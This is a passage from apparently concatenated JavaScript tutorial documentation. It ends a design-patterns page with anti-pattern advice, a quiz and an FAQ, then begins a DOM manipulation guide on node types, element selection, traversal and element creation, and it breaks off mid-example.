│ │ │ MISTAKE #1: PATTERN OVERUSE │ │ ─────────────────────────── │ │ Using patterns where simple code would work better. │ │ A plain function is often better than a Factory class. │ │ │ │ MISTAKE #2: WRONG PATTERN CHOICE │ │ ───────────────────────────── │ │ Using Singleton when you just need a module export. │ │ Using Observer when a simple callback would suffice. │ │ │ │ MISTAKE #3: IGNORING JAVASCRIPT IDIOMS │ │ ──────────────────────────────────── │ │ JavaScript has closures, first-class functions, and ES modules. │ │ Many classical patterns simplify dramatically in JavaScript. │ │ │ │ MISTAKE #4: PREMATURE ABSTRACTION │ │ ──────────────────────────────── │ │ Adding patterns before you have a real problem to solve. │ │ "You Ain't Gonna Need It" (YAGNI) applies to patterns too. │ │ │ └─────────────────────────────────────────────────────────────────────────┘ ``` ### The "Golden Hammer" Anti-Pattern When you learn a new pattern, resist the urge to use it everywhere: ```javascript // ❌ OVERKILL: Factory for simple objects class UserFactory { createUser(name) { return new User(name) } } const factory = new UserFactory() const user = factory.createUser('Alice') // ✓ SIMPLE: Just create the object const user = { name: 'Alice' } // or const user = new User('Alice') ``` <Warning> **Ask yourself these questions before using a pattern:** 1. **Do I have a real problem?** Don't solve problems you don't have yet. 2. **Is there a simpler solution?** A plain function or object might be enough. 3. **Does JavaScript already solve this?** ES modules, Promises, and iterators are built-in patterns. 4. **Will my team understand it?** Patterns only help if everyone knows them. </Warning> --- ## Choosing the Right Pattern | Problem | Pattern | Alternative | |---------|---------|-------------| | Need to organize code with private state | **Module** | ES6 module exports | | Need exactly one instance | **Singleton** | Just export an object from a module | | Need to create objects dynamically | **Factory** | Plain function returning objects | | Need to notify multiple listeners of changes | **Observer** | EventEmitter, callbacks, or a library | | Need to control or validate object access | **Proxy** | Getter/setter methods | | Need to add behavior without modification | **Decorator** | Higher-order functions, composition | <Tip> **Rule of Thumb:** Start with the simplest solution that works. Introduce patterns when you hit a real problem they solve, not before. </Tip> --- ## Key Takeaways <Info> **The key things to remember:** 1. **Design patterns are templates, not code** — Adapt them to your specific problem; don't force-fit them 2. **JavaScript simplifies many patterns** — First-class functions, closures, and ES modules reduce boilerplate 3. **Module pattern organizes code** — Use ES modules for new projects; understand IIFE pattern for legacy code 4. **Singleton is often unnecessary** — ES module exports are already cached; use sparingly if at all 5. **Factory centralizes object creation** — Great for creating different types based on input 6. **Observer enables event-driven code** — The foundation of DOM events, React state, and reactive programming 7. **Proxy intercepts object operations** — Use for validation, logging, lazy loading, and access control 8. **Decorator adds behavior through wrapping** — Compose features without modifying original code 9. **Avoid pattern overuse** — Simple code beats clever patterns; apply the YAGNI principle 10. **Learn to recognize patterns in the wild** — DOM events use Observer, Promises use a form of Observer, middleware uses Decorator </Info> --- ## Test Your Knowledge <AccordionGroup> <Accordion title="Question 1: What's the main purpose of the Module pattern?"> **Answer:** The Module pattern encapsulates code into reusable units with **private and public parts**. It allows you to: - Hide implementation details (private variables and functions) - Expose only a public API - Avoid polluting the global namespace In modern JavaScript, ES6 modules (`import`/`export`) provide this naturally. Variables in a module are private unless exported. ```javascript // privateHelper is not exported — it's private function privateHelper() { /* ... */ } // Only publicFunction is accessible to importers export function publicFunction() { privateHelper() } ``` </Accordion> <Accordion title="Question 2: Why is Singleton often considered an anti-pattern in JavaScript?"> **Answer:** Singleton is often unnecessary in JavaScript because: 1. **ES modules are already singletons** — When you export an object, all importers get the same instance 2. **Testing difficulties** — Tests share state, making isolation hard 3. **Hidden dependencies** — Code using Singletons has implicit dependencies 4. **JavaScript can create objects directly** — No need for the class-based workarounds other languages require ```javascript // ES module — already a singleton! export const config = { apiUrl: '...' } // Every import gets the same object import { config } from './config.js' // Same instance everywhere ``` </Accordion> <Accordion title="Question 3: What are the three parts of an Observer pattern implementation?"> **Answer:** The Observer pattern has three key parts: 1. **Subscriber list** — An array to store observer functions 2. **Subscribe method** — Adds a function to the list (often returns an unsubscribe function) 3. **Notify method** — Calls all subscribed functions with data ```javascript class Observable { constructor() { this.observers = [] // 1. Subscriber list } subscribe(fn) { // 2. Subscribe method this.observers.push(fn) return () => { // Returns unsubscribe this.observers = this.observers.filter(o => o !== fn) } } notify(data) { // 3. Notify method this.observers.forEach(fn => fn(data)) } } ``` </Accordion> <Accordion title="Question 4: How does the Proxy pattern differ from the Decorator pattern?"> **Answer:** Both wrap objects, but they have different purposes: **Proxy Pattern:** - **Controls access** to an object - Intercepts operations like get, set, delete - The proxy typically has the same interface as the target - Use for: validation, logging, lazy loading, access control **Decorator Pattern:** - **Adds new behavior** to an object - Wraps the object and extends its capabilities - May add new methods or modify existing ones - Use for: composing features, cross-cutting concerns ```javascript // Proxy — same interface, controlled access const proxy = new Proxy(obj, { get(t, p) { /* intercept */ } }) // Decorator — enhanced interface, new behavior const enhanced = withLogging(withCache(obj)) ``` </Accordion> <Accordion title="Question 5: When should you use the Factory pattern?"> **Answer:** Use the Factory pattern when: 1. **Object creation is complex** — Encapsulate setup logic in one place 2. **You need different types based on input** — Switch logic centralized in the factory 3. **You want to decouple creation from usage** — Callers don't need to know implementation 4. **You might change how objects are created** — Update the factory, not every call site ```javascript // Factory — creation logic in one place function createNotification(type, message) { switch (type) { case 'error': return { type, message, color: 'red' } case 'success': return { type, message, color: 'green' } default: return { type: 'info', message, color: 'blue' } } } // Easy to use — no need to know the structure const notification = createNotification('error', 'Something went wrong') ``` </Accordion> <Accordion title="Question 6: What's the 'Golden Hammer' anti-pattern?"> **Answer:** The "Golden Hammer" anti-pattern is the tendency to use a familiar tool (or pattern) for every problem, even when it's not appropriate. **Signs you're doing this:** - Using Singleton for everything that "should be global" - Creating Factory classes for simple object literals - Using Observer when a callback would suffice - Adding patterns before you have a real problem **How to avoid it:** - Start with the simplest solution - Add patterns only when you hit a real problem they solve - Ask: "Would a plain function/object work here?" - Remember: Code clarity beats clever patterns </Accordion> </AccordionGroup> --- ## Frequently Asked Questions <AccordionGroup> <Accordion title="What are design patterns in JavaScript?"> Design patterns are reusable solutions to common problems in software design. They are not specific code implementations but templates you adapt to your needs. In JavaScript, many classical patterns simplify because the language has first-class functions, closures, and prototypal inheritance, which reduce the need for complex class hierarchies. </Accordion> <Accordion title="What is the Observer pattern and when should I use it?"> The Observer pattern lets an object (the subject) notify a list of dependents (observers) when its state changes. Use it when multiple parts of your application need to react to the same event. The DOM's `addEventListener` is a built-in Observer implementation, and frameworks like React and Vue use Observer-like patterns internally for reactivity. </Accordion> <Accordion title="Are all Gang of Four design patterns relevant in JavaScript?"> No. As Addy Osmani notes in *Learning JavaScript Design Patterns*, many GoF patterns were designed for statically typed languages like C++ and Java. JavaScript's first-class functions, closures, and dynamic typing make patterns like Strategy, Command, and Iterator trivial — often just a function or callback. Focus on patterns that solve real problems in your codebase. </Accordion> <Accordion title="Why is the Singleton pattern considered an anti-pattern in JavaScript?"> ES Modules are already singletons — a module's exports are cached after the first import, so every file gets the same object. Using a Singleton class adds complexity without benefit. Singletons also make testing harder because components share hidden global state. Prefer dependency injection or module exports instead. </Accordion> <Accordion title="What is the difference between the Proxy and Decorator patterns?"> The Proxy pattern controls access to an object without changing its interface — it intercepts operations like property reads or function calls. The Decorator pattern adds new behavior or capabilities to an object by wrapping it. JavaScript's built-in `Proxy` object implements the Proxy pattern natively since ES2015. </Accordion> </AccordionGroup> --- ## Related Concepts <CardGroup cols={2}> <Card title="Factories and Classes" icon="industry" href="/concepts/factories-classes"> Deep dive into object creation with factory functions and ES6 classes </Card> <Card title="IIFE, Modules & Namespaces" icon="box" href="/concepts/iife-modules"> How JavaScript evolved from IIFEs to modern ES modules </Card> <Card title="Higher-Order Functions" icon="function" href="/concepts/higher-order-functions"> Functions that work with functions — the foundation of many patterns </Card> <Card title="Scope and Closures" icon="lock" href="/concepts/scope-and-closures"> How closures enable private state in the Module pattern </Card> </CardGroup> --- ## Reference <CardGroup cols={2}> <Card title="Proxy — MDN" icon="book" href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Proxy"> Complete API reference for JavaScript's built-in Proxy object </Card> <Card title="JavaScript Modules — MDN" icon="book" href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Guide/Modules"> Official guide to ES6 modules with import and export </Card> <Card title="Design Patterns Catalog — Refactoring Guru" icon="compass" href="https://refactoring.guru/design-patterns/catalog"> Complete catalog of classic design patterns with examples </Card> <Card title="Reflect — MDN" icon="book" href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Reflect"> The Reflect object used with Proxy for default behavior </Card> </CardGroup> ## Articles <CardGroup cols={2}> <Card title="JavaScript Design Patterns — patterns.dev" icon="newspaper" href="https://www.patterns.dev/vanilla/module-pattern"> Lydia Hallie and Addy Osmani's modern guide with animated visualizations. Each pattern gets its own interactive explanation showing exactly how data flows. </Card> <Card title="JavaScript Design Patterns — freeCodeCamp" icon="newspaper" href="https://www.freecodecamp.org/news/javascript-design-patterns-explained/"> Beginner-friendly walkthrough of essential patterns with practical code examples. Great starting point if you're new to design patterns. </Card> <Card title="Learning JavaScript Design Patterns" icon="newspaper" href="https://www.patterns.dev/book/"> Addy Osmani's free online book, updated for modern JavaScript. The definitive resource covering patterns, anti-patterns, and real-world applications. </Card> <Card title="Mixins — javascript.info" icon="newspaper" href="https://javascript.info/mixins"> Authoritative guide on adding behaviors to classes without inheritance. Shows the EventMixin pattern that's used throughout JavaScript libraries. </Card> </CardGroup> ## Videos <CardGroup cols={2}> <Card title="10 Design Patterns Explained in 10 Minutes" icon="video" href="https://www.youtube.com/watch?v=tv-_1er1mWI"> Fireship's fast-paced overview covering the essential patterns every developer should know. Perfect for a quick refresher or introduction. </Card> <Card title="JavaScript Design Patterns — Udacity" icon="video" href="https://www.udacity.com/course/javascript-design-patterns--ud989"> Free comprehensive course covering MVC, MVP, and organizing large JavaScript applications. Great for understanding patterns in context. </Card> <Card title="Factory Functions in JavaScript" icon="video" href="https://www.youtube.com/watch?v=ImwrezYhw4w"> Fun Fun Function's engaging explanation of factories vs classes. MPJ's conversational style makes complex concepts approachable. </Card> </CardGroup> ================================================ FILE: docs/concepts/dom.mdx ================================================ --- title: "DOM Manipulation" sidebarTitle: "DOM: How Browsers Represent Web Pages" description: "Learn the DOM in JavaScript. Select and manipulate elements, traverse nodes, handle events, and optimize rendering performance." "og:type": "article" "article:author": "Leonardo Maldonado" "article:section": "Web Platform" "article:tag": "javascript DOM, document object model, DOM manipulation, querySelector, event handling, DOM traversal" --- How does JavaScript change what you see on a webpage? How do you click a button and see new content appear, or type in a form and watch suggestions pop up? How does a "dark mode" toggle instantly transform an entire page? ```javascript // The DOM lets you do things like this: document.querySelector('h1').textContent = 'Hello, DOM!' document.body.style.backgroundColor = 'lightblue' document.getElementById('btn').addEventListener('click', handleClick) ``` The **[Document Object Model (DOM)](https://developer.mozilla.org/en-US/docs/Web/API/Document_Object_Model)** is the bridge between your HTML and JavaScript. It lets you read, modify, and respond to changes in web page content. With the DOM, you can use methods like **[`querySelector()`](https://developer.mozilla.org/en-US/docs/Web/API/Document/querySelector)** to find elements, **[`getElementById()`](https://developer.mozilla.org/en-US/docs/Web/API/Document/getElementById)** to grab specific nodes, and **[`addEventListener()`](https://developer.mozilla.org/en-US/docs/Web/API/EventTarget/addEventListener)** to respond to user interactions. <Info> **What you'll learn in this guide:** - What the DOM is in JavaScript and how it differs from HTML - How to select DOM elements (getElementById vs querySelector) - How to traverse the DOM tree (parent, children, siblings) - How to manipulate DOM elements (create, modify, remove) - The difference between properties and attributes - How the browser turns DOM → pixels (the Critical Rendering Path) - Performance best practices (avoid layout thrashing!) </Info> <Warning> **Prerequisite:** This guide assumes basic familiarity with [HTML](https://developer.mozilla.org/en-US/docs/Learn/HTML/Introduction_to_HTML) and [CSS](https://developer.mozilla.org/en-US/docs/Learn/CSS/First_steps). If you're new to web development, start there first! </Warning> --- ## What is the DOM in JavaScript? The **[Document Object Model (DOM)](https://developer.mozilla.org/en-US/docs/Web/API/Document_Object_Model)** is a programming interface that represents HTML documents as a tree of objects. As specified by the WHATWG DOM Living Standard, when a browser loads a webpage, it parses the HTML and creates the DOM, a live, structured representation that JavaScript can read and modify. Every element, attribute, and piece of text becomes a node in this tree. **In short: the DOM is how JavaScript "sees" and changes a webpage.** --- ## How the DOM Tree Structure Works Think of the DOM like a family tree. At the top sits `document` (the family historian who knows everyone). Below it is `<html>` (the matriarch), which has two children: `<head>` and `<body>`. Each of these has their own children, grandchildren, and so on. ``` THE DOM FAMILY TREE ┌──────────┐ │ document │ ← The family historian │ (root) │ (knows everyone!) └────┬─────┘ │ ┌────┴─────┐ │ <html> │ ← Great-grandma └────┬─────┘ (the matriarch) ┌─────────────┴─────────────┐ │ │ ┌────┴────┐ ┌────┴────┐ │ <head> │ │ <body> │ ← The two branches └────┬────┘ └────┬────┘ of the family │ │ ┌──────┴──────┐ ┌──────────┼──────────┐ │ │ │ │ │ ┌────┴────┐ ┌────┴────┐ ┌───┴───┐ ┌────┴────┐ ┌───┴───┐ │ <title> │ │ <meta> │ │ <nav> │ │ <main> │ │<footer>│ └────┬────┘ └─────────┘ └───┬───┘ └────┬────┘ └───────┘ │ │ │ "My Page" ┌────┴────┐ ┌──┴──┐ (text) │ <ul> │ │<div>│ ← Cousins └────┬────┘ └──┬──┘ │ │ ┌────┼────┐ ... │ │ │ <li> <li> <li> ← Siblings ``` Just like navigating a family reunion, the DOM lets you: | Action | Family Analogy | DOM Method | |--------|----------------|------------| | Find your parent | "Who's your mom?" | `element.parentNode` | | Find your kids | "Where are your children?" | `element.children` | | Find your sibling | "Who's your brother?" | `element.nextElementSibling` | | Search the whole family | "Where's cousin Bob?" | `document.querySelector('#bob')` | <Note> **Key insight:** Every element, text, and comment in your HTML becomes a "node" in this tree. JavaScript lets you navigate this tree and modify it: changing content, adding elements, or removing them entirely. </Note> --- ## What the DOM is NOT ### The DOM is NOT Your HTML Source Code Here's the key thing: your HTML file and the DOM are **different things**: <Tabs> <Tab title="HTML Source"> ```html <!-- What you wrote (invalid HTML - missing head/body) --> <!DOCTYPE html> <html> Hello, World! </html> ``` </Tab> <Tab title="Resulting DOM"> ```html <!-- What the browser creates (fixed!) --> <!DOCTYPE html> <html> <head></head> <body> Hello, World! </body> </html> ``` </Tab> </Tabs> The browser **fixes your mistakes**! It adds missing `<head>` and `<body>` tags, closes unclosed tags, and corrects nesting errors. The DOM is the corrected version. According to the HTML specification's parsing algorithm, browsers must follow specific error-recovery rules to handle malformed markup consistently across implementations. ### The DOM is NOT What You See in DevTools (Exactly) DevTools shows you something close to the DOM, but it also shows **CSS pseudo-elements** (`::before`, `::after`) which are NOT part of the DOM: ```css /* This creates visual content, but NOT DOM nodes */ .quote::before { content: '"'; } ``` Pseudo-elements exist in the **render tree** (for display), but not in the DOM (for JavaScript). You can't select them with `querySelector`! ### The DOM is NOT the Render Tree The **Render Tree** is what actually gets painted to the screen. It excludes: ```html <!-- These are in the DOM but NOT in the Render Tree --> <head>...</head> <!-- Never rendered --> <script>...</script> <!-- Never rendered --> <div style="display: none">Hidden</div> <!-- Excluded from render --> ``` ``` DOM Render Tree ┌─────────────────────┐ ┌─────────────────────┐ │ <html> │ │ <html> │ │ <head> │ │ <body> │ │ <title> │ │ <h1> │ │ <body> │ │ "Hello" │ │ <h1>Hello</h1> │ │ <p> │ │ <p>World</p> │ │ "World" │ │ <div hidden> │ │ │ │ Secret! │ │ (no hidden div!) │ │ </div> │ │ │ └─────────────────────┘ └─────────────────────┘ ``` ### The `document` Object: Your Entry Point The **[`document`](https://developer.mozilla.org/en-US/docs/Web/API/Document)** object is your gateway to the DOM. It's automatically available in any browser JavaScript. Key properties include **[`document.documentElement`](https://developer.mozilla.org/en-US/docs/Web/API/Document/documentElement)** (the root `<html>` element), **[`document.head`](https://developer.mozilla.org/en-US/docs/Web/API/Document/head)**, **[`document.body`](https://developer.mozilla.org/en-US/docs/Web/API/Document/body)**, and **[`document.title`](https://developer.mozilla.org/en-US/docs/Web/API/Document/title)**: ```javascript // document is the root of everything console.log(document) // The entire document console.log(document.documentElement) // <html> element console.log(document.head) // <head> element console.log(document.body) // <body> element console.log(document.title) // Page title (getter/setter!) // You can modify the document document.title = 'New Title' // Changes browser tab title ``` --- ## DOM Node Types Explained Everything in the DOM is a **[Node](https://developer.mozilla.org/en-US/docs/Web/API/Node)**. But not all nodes are created equal! ### The Node Type Hierarchy ``` Node (base class) │ ┌─────────────────────┼─────────────────────┐ │ │ │ Document Element CharacterData │ │ │ HTMLDocument ┌────┴────┐ ┌─────┴─────┐ │ │ │ │ HTMLElement SVGElement Text Comment │ ┌────────────────┼────────────────┐ │ │ │ HTMLDivElement HTMLSpanElement HTMLInputElement ... ``` ### Node Types You'll Encounter | Node Type | `nodeType` | `nodeName` | Example | |-----------|------------|------------|---------| | [Element](https://developer.mozilla.org/en-US/docs/Web/API/Element) | `1` | Tag name (uppercase) | `<div>`, `<p>`, `<span>` | | [Text](https://developer.mozilla.org/en-US/docs/Web/API/Text) | `3` | `#text` | Text inside elements | | [Comment](https://developer.mozilla.org/en-US/docs/Web/API/Comment) | `8` | `#comment` | `<!-- comment -->` | | [Document](https://developer.mozilla.org/en-US/docs/Web/API/Document) | `9` | `#document` | The `document` object | | [DocumentFragment](https://developer.mozilla.org/en-US/docs/Web/API/DocumentFragment) | `11` | `#document-fragment` | Virtual container | ```javascript const div = document.createElement('div') console.log(div.nodeType) // 1 (Element) console.log(div.nodeName) // "DIV" const text = document.createTextNode('Hello') console.log(text.nodeType) // 3 (Text) console.log(text.nodeName) // "#text" console.log(document.nodeType) // 9 (Document) console.log(document.nodeName) // "#document" ``` The **[`createElement()`](https://developer.mozilla.org/en-US/docs/Web/API/Document/createElement)** and **[`createTextNode()`](https://developer.mozilla.org/en-US/docs/Web/API/Document/createTextNode)** methods create new nodes that you can add to the DOM. ### Node Type Constants Instead of remembering numbers, use the constants: ```javascript Node.ELEMENT_NODE // 1 Node.TEXT_NODE // 3 Node.COMMENT_NODE // 8 Node.DOCUMENT_NODE // 9 Node.DOCUMENT_FRAGMENT_NODE // 11 // Check if something is an element if (node.nodeType === Node.ELEMENT_NODE) { console.log('This is an element!') } ``` ### Visualizing a Real DOM Tree Given this HTML: ```html <div id="container"> <h1>Title</h1> <!-- A comment --> <p>Paragraph</p> </div> ``` The actual DOM tree looks like this (including text nodes from whitespace!): ``` div#container ├── #text (newline + spaces) ├── h1 │ └── #text "Title" ├── #text (newline + spaces) ├── #comment " A comment " ├── #text (newline + spaces) ├── p │ └── #text "Paragraph" └── #text (newline) ``` <Warning> **The Whitespace Gotcha!** Line breaks and spaces between HTML tags create **text nodes**. This surprises many developers! We'll see how to handle this in the traversal section. </Warning> --- ## How to Select DOM Elements Before you can manipulate an element, you need to find it. JavaScript provides several methods through the **[`document`](https://developer.mozilla.org/en-US/docs/Web/API/Document)** object: ### The getElementById() Classic The **[`getElementById()`](https://developer.mozilla.org/en-US/docs/Web/API/Document/getElementById)** method is the fastest way to select a single element by its unique ID: ```javascript // HTML: <div id="hero">Welcome!</div> const hero = document.getElementById('hero') console.log(hero) // <div id="hero">Welcome!</div> console.log(hero.id) // "hero" console.log(hero.textContent) // "Welcome!" // Returns null if not found (not an error!) const ghost = document.getElementById('nonexistent') console.log(ghost) // null ``` <Tip> IDs must be unique in a document. If you have duplicate IDs, `getElementById` returns the first one. But don't do this. It's invalid HTML! </Tip> ### getElementsByClassName() and getElementsByTagName() **[`getElementsByClassName()`](https://developer.mozilla.org/en-US/docs/Web/API/Document/getElementsByClassName)** and **[`getElementsByTagName()`](https://developer.mozilla.org/en-US/docs/Web/API/Document/getElementsByTagName)** select multiple elements by class or tag name: ```javascript // HTML: // <p class="intro">First</p> // <p class="intro">Second</p> // <p>Third</p> const intros = document.getElementsByClassName('intro') console.log(intros.length) // 2 console.log(intros[0]) // <p class="intro">First</p> console.log(intros[0].textContent) // "First" const allParagraphs = document.getElementsByTagName('p') console.log(allParagraphs.length) // 3 ``` ### The Modern Way: querySelector() and querySelectorAll() **[`querySelector()`](https://developer.mozilla.org/en-US/docs/Web/API/Document/querySelector)** and **[`querySelectorAll()`](https://developer.mozilla.org/en-US/docs/Web/API/Document/querySelectorAll)** use CSS selectors to find elements. Much more powerful! ```javascript // querySelector returns the FIRST match (or null) const firstButton = document.querySelector('button') // First <button> element const submitBtn = document.querySelector('#submit') // Element with id="submit" const firstCard = document.querySelector('.card') // First element with class="card" const navLink = document.querySelector('nav a.active') // <a class="active"> inside <nav> const dataItem = document.querySelector('[data-id="123"]') // Element with data-id="123" // querySelectorAll returns ALL matches (NodeList) const allButtons = document.querySelectorAll('button') // All <button> elements const allCards = document.querySelectorAll('.card') // All elements with class="card" const evenRows = document.querySelectorAll('tr:nth-child(even)') // Every even table row ``` ### Selector Examples ```javascript // By ID document.querySelector('#main') // By class document.querySelector('.active') document.querySelectorAll('.btn.primary') // By tag document.querySelector('header') document.querySelectorAll('li') // By attribute document.querySelector('[type="submit"]') document.querySelector('[data-modal="login"]') // Descendant selectors document.querySelector('nav ul li a') document.querySelector('.sidebar .widget:first-child') // Pseudo-selectors (limited support) document.querySelectorAll('input:not([type="hidden"])') document.querySelector('p:first-of-type') ``` ### Live vs Static Collections This difference trips up many developers. **[`getElementsByClassName()`](https://developer.mozilla.org/en-US/docs/Web/API/Document/getElementsByClassName)** returns a live **[HTMLCollection](https://developer.mozilla.org/en-US/docs/Web/API/HTMLCollection)**, while **[`querySelectorAll()`](https://developer.mozilla.org/en-US/docs/Web/API/Document/querySelectorAll)** returns a static **[NodeList](https://developer.mozilla.org/en-US/docs/Web/API/NodeList)**: ```javascript const liveList = document.getElementsByClassName('item') // LIVE HTMLCollection const staticList = document.querySelectorAll('.item') // STATIC NodeList // Start with 3 items console.log(liveList.length) // 3 console.log(staticList.length) // 3 // Add a new item to the DOM const newItem = document.createElement('div') newItem.className = 'item' document.body.appendChild(newItem) // Check lengths again console.log(liveList.length) // 4 (automatically updated!) console.log(staticList.length) // 3 (still the old snapshot) ``` | Method | Returns | Live? | |--------|---------|-------| | `getElementById()` | Element or null | N/A | | `getElementsByClassName()` | HTMLCollection | **Yes** (live) | | `getElementsByTagName()` | HTMLCollection | **Yes** (live) | | `querySelector()` | Element or null | N/A | | `querySelectorAll()` | NodeList | **No** (static) | ### Scoped Selection You can call selection methods on any element, not just `document`: ```javascript const nav = document.querySelector('nav') // Find links ONLY inside nav const navLinks = nav.querySelectorAll('a') // Find the active link inside nav const activeLink = nav.querySelector('.active') ``` This is faster than searching the entire document and helps avoid selecting unintended elements. ### Performance Comparison <AccordionGroup> <Accordion title="Which selector method is fastest?"> In order of speed (fastest first): 1. **`getElementById()`** - Direct hashtable lookup, O(1) 2. **`getElementsByClassName()`** - Optimized internal lookup 3. **`getElementsByTagName()`** - Optimized internal lookup 4. **`querySelector()`** - Must parse CSS selector 5. **`querySelectorAll()`** - Must parse and find all matches However, for most applications, **the difference is negligible**. Use `querySelector/querySelectorAll` for readability unless you're selecting thousands of elements in a loop. ```javascript // Premature optimization - don't do this const el1 = document.getElementById('myId') // This is fine and more readable const el2 = document.querySelector('#myId') ``` </Accordion> </AccordionGroup> --- ## How to Traverse the DOM Once you have an element, you can navigate to related elements without querying the entire document. ### Traversing Downwards (To Children) ```javascript const ul = document.querySelector('ul') // Get ALL child nodes (including text nodes!) const allChildNodes = ul.childNodes // NodeList // Get only ELEMENT children (usually what you want) const elementChildren = ul.children // HTMLCollection // Get specific children const firstChild = ul.firstChild // First node (might be text!) const firstElement = ul.firstElementChild // First ELEMENT child const lastChild = ul.lastChild // Last node const lastElement = ul.lastElementChild // Last ELEMENT child ``` <Warning> **The Text Node Trap!** Look at this HTML: ```html <ul> <li>One</li> <li>Two</li> </ul> ``` What is `ul.firstChild`? It's NOT the first `<li>`! It's a **text node** containing the newline and spaces after `<ul>`. Use `firstElementChild` to get the actual `<li>` element. </Warning> ### Traversing Upwards (To Parents) ```javascript const li = document.querySelector('li') // Direct parent const parent = li.parentNode // Usually same as parentElement const parentEl = li.parentElement // Guaranteed to be an Element (or null) // Find ancestor matching selector (very useful!) const form = li.closest('form') // Finds nearest ancestor <form> const card = li.closest('.card') // Finds nearest ancestor with class "card" // closest() includes the element itself const self = li.closest('li') // Returns li itself if it matches! ``` The **[`closest()`](https://developer.mozilla.org/en-US/docs/Web/API/Element/closest)** method is useful for event delegation (see [Event Loop](/concepts/event-loop) for how events are processed): ```javascript // Handle clicks on any button inside a card document.addEventListener('click', (e) => { const card = e.target.closest('.card') if (card) { console.log('Clicked inside card:', card) } }) ``` ### Traversing Sideways (To Siblings) ```javascript const secondLi = document.querySelectorAll('li')[1] // Previous/next nodes (might be text!) const prevNode = secondLi.previousSibling const nextNode = secondLi.nextSibling // Previous/next ELEMENTS (usually what you want) const prevElement = secondLi.previousElementSibling const nextElement = secondLi.nextElementSibling // Returns null at the boundaries const firstLi = document.querySelector('li') console.log(firstLi.previousElementSibling) // null (no previous sibling) ``` ### Node vs Element Properties Cheat Sheet | Get... | Node Property (includes text) | Element Property (elements only) | |--------|-------------------------------|----------------------------------| | Parent | `parentNode` | `parentElement` | | Children | `childNodes` | `children` | | First child | `firstChild` | `firstElementChild` | | Last child | `lastChild` | `lastElementChild` | | Previous sibling | `previousSibling` | `previousElementSibling` | | Next sibling | `nextSibling` | `nextElementSibling` | <Tip> **Rule of thumb:** Unless you specifically need text nodes, always use the Element variants (`children`, `firstElementChild`, `nextElementSibling`, etc.) </Tip> ### Practical Example: Building a Breadcrumb Trail ```javascript // Get all ancestors of an element function getAncestors(element) { const ancestors = [] let current = element.parentElement while (current && current !== document.body) { ancestors.push(current) current = current.parentElement } return ancestors } const deepElement = document.querySelector('.deeply-nested') console.log(getAncestors(deepElement)) // [<div.parent>, <section>, <main>, ...] ``` --- ## Creating and Manipulating Elements The real power of the DOM is the ability to create, modify, and remove elements dynamically. ### Creating Elements Use **[`createElement()`](https://developer.mozilla.org/en-US/docs/Web/API/Document/createElement)** to create new elements and **[`createTextNode()`](https://developer.mozilla.org/en-US/docs/Web/API/Document/createTextNode)** to create text nodes: ```javascript // Create a new element const div = document.createElement('div') const span = document.createElement('span') const img = document.createElement('img') // Create a text node const text = document.createTextNode('Hello, world!') // Create a comment node const comment = document.createComment('This is a comment') // Elements are created "detached" - not yet in the DOM! console.log(div.parentNode) // null ``` ### Adding Elements to the DOM There are many ways to add elements. Here's a comprehensive overview using methods like **[`appendChild()`](https://developer.mozilla.org/en-US/docs/Web/API/Node/appendChild)**, **[`insertBefore()`](https://developer.mozilla.org/en-US/docs/Web/API/Node/insertBefore)**, **[`append()`](https://developer.mozilla.org/en-US/docs/Web/API/Element/append)**, and **[`prepend()`](https://developer.mozilla.org/en-US/docs/Web/API/Element/prepend)**: <Tabs> <Tab title="appendChild()"> Adds a node as the **last child** of a parent: ```javascript const ul = document.querySelector('ul') const li = document.createElement('li') li.textContent = 'New item' ul.appendChild(li) // <ul> // <li>Existing</li> // <li>New item</li> ← Added at the end // </ul> ``` </Tab> <Tab title="insertBefore()"> Inserts a node **before** a reference node: ```javascript const ul = document.querySelector('ul') const existingLi = ul.querySelector('li') const newLi = document.createElement('li') newLi.textContent = 'First!' ul.insertBefore(newLi, existingLi) // <ul> // <li>First!</li> ← Inserted before // <li>Existing</li> // </ul> ``` </Tab> <Tab title="append() / prepend()"> Modern methods that accept multiple nodes AND strings: ```javascript const div = document.querySelector('div') // append() - adds to the END div.append('Text', document.createElement('span'), 'More text') // prepend() - adds to the START div.prepend(document.createElement('strong')) ``` </Tab> <Tab title="before() / after()"> Insert as siblings (not children): ```javascript const h1 = document.querySelector('h1') // Insert BEFORE h1 (as previous sibling) h1.before(document.createElement('nav')) // Insert AFTER h1 (as next sibling) h1.after(document.createElement('p')) ``` </Tab> </Tabs> ### insertAdjacentHTML() - The Swiss Army Knife For inserting HTML strings, **[`insertAdjacentHTML()`](https://developer.mozilla.org/en-US/docs/Web/API/Element/insertAdjacentHTML)** is powerful and fast: ```javascript const div = document.querySelector('div') // Four positions to insert: div.insertAdjacentHTML('beforebegin', '<p>Before div</p>') div.insertAdjacentHTML('afterbegin', '<p>First child of div</p>') div.insertAdjacentHTML('beforeend', '<p>Last child of div</p>') div.insertAdjacentHTML('afterend', '<p>After div</p>') ``` Visual representation: ```html <!-- beforebegin --> <div> <!-- afterbegin --> existing content <!-- beforeend --> </div> <!-- afterend --> ``` ### Removing Elements <Tabs> <Tab title="remove()"> Modern and simple. Element removes itself: ```javascript const element = document.querySelector('.to-remove') element.remove() // Gone! ``` </Tab> <Tab title="removeChild()"> Classic method. Remove via parent: ```javascript const parent = document.querySelector('ul') const child = parent.querySelector('li') parent.removeChild(child) // Or remove from any element element.parentNode.removeChild(element) ``` </Tab> </Tabs> ### Cloning Elements Use **[`cloneNode()`](https://developer.mozilla.org/en-US/docs/Web/API/Node/cloneNode)** to duplicate elements: ```javascript const original = document.querySelector('.card') // Shallow clone (element only, no children) const shallow = original.cloneNode(false) // Deep clone (element AND all descendants) const deep = original.cloneNode(true) // Clones are detached - must add to DOM document.body.appendChild(deep) ``` <Warning> **ID Collision!** If you clone an element with an ID, you'll have duplicate IDs in your document (invalid HTML). Remove or change the ID after cloning: ```javascript const clone = original.cloneNode(true) clone.id = '' // Remove ID // or clone.id = 'new-unique-id' ``` </Warning> ### DocumentFragment - Batch Operations When adding many elements, using a **[`DocumentFragment`](https://developer.mozilla.org/en-US/docs/Web/API/DocumentFragment)** is more efficient: ```javascript // Bad: Multiple DOM updates (potentially multiple reflows) const ul = document.querySelector('ul') for (let i = 0; i < 1000; i++) { const li = document.createElement('li') li.textContent = `Item ${i}` ul.appendChild(li) // Modifies live DOM each iteration } // Good: Single DOM update const ul = document.querySelector('ul') const fragment = document.createDocumentFragment() for (let i 